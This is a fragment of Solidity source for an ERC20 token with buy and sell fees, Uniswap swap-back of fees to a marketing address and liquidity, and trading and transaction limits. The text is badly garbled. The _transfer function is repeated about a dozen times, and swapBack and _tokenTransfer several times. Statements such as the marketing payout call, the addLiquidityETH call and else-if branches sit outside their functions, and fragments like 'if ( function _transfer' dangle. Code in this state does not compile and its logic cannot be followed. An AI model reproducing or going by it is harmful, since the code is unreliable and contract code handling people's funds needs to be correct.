_sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } if ( function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; bool success; if(contractBalance >= minimumTokensBeforeSwap * 20){ contractBalance = minimumTokensBeforeSwap * 20; } uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; if(tokensForLiquidity > 0 && ethForLiquidity > 0){ addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; bool success; if(contractBalance >= minimumTokensBeforeSwap * 20){ contractBalance = minimumTokensBeforeSwap * 20; } uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; if(tokensForLiquidity > 0 && ethForLiquidity > 0){ addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } if(contractBalance == 0 || totalTokensToSwap == 0) {return;} uint256 tokensForLiquidity = contractBalance * _liquidityTokensToSwap / totalTokensToSwap / 2; function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; bool success; if(contractBalance >= minimumTokensBeforeSwap * 20){ contractBalance = minimumTokensBeforeSwap * 20; } uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; if(tokensForLiquidity > 0 && ethForLiquidity > 0){ addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } (success,) = address(marketingAddress).call{value: address(this).balance}(""); function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, liquidityAddress, block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function _tokenTransfer( address sender, address recipient, uint256 amount ) private { if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } } } else if (!_isExcluded[sender] && _isExcluded[recipient]) { } else if (_isExcluded[sender] && _isExcluded[recipient]) { } else { function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function 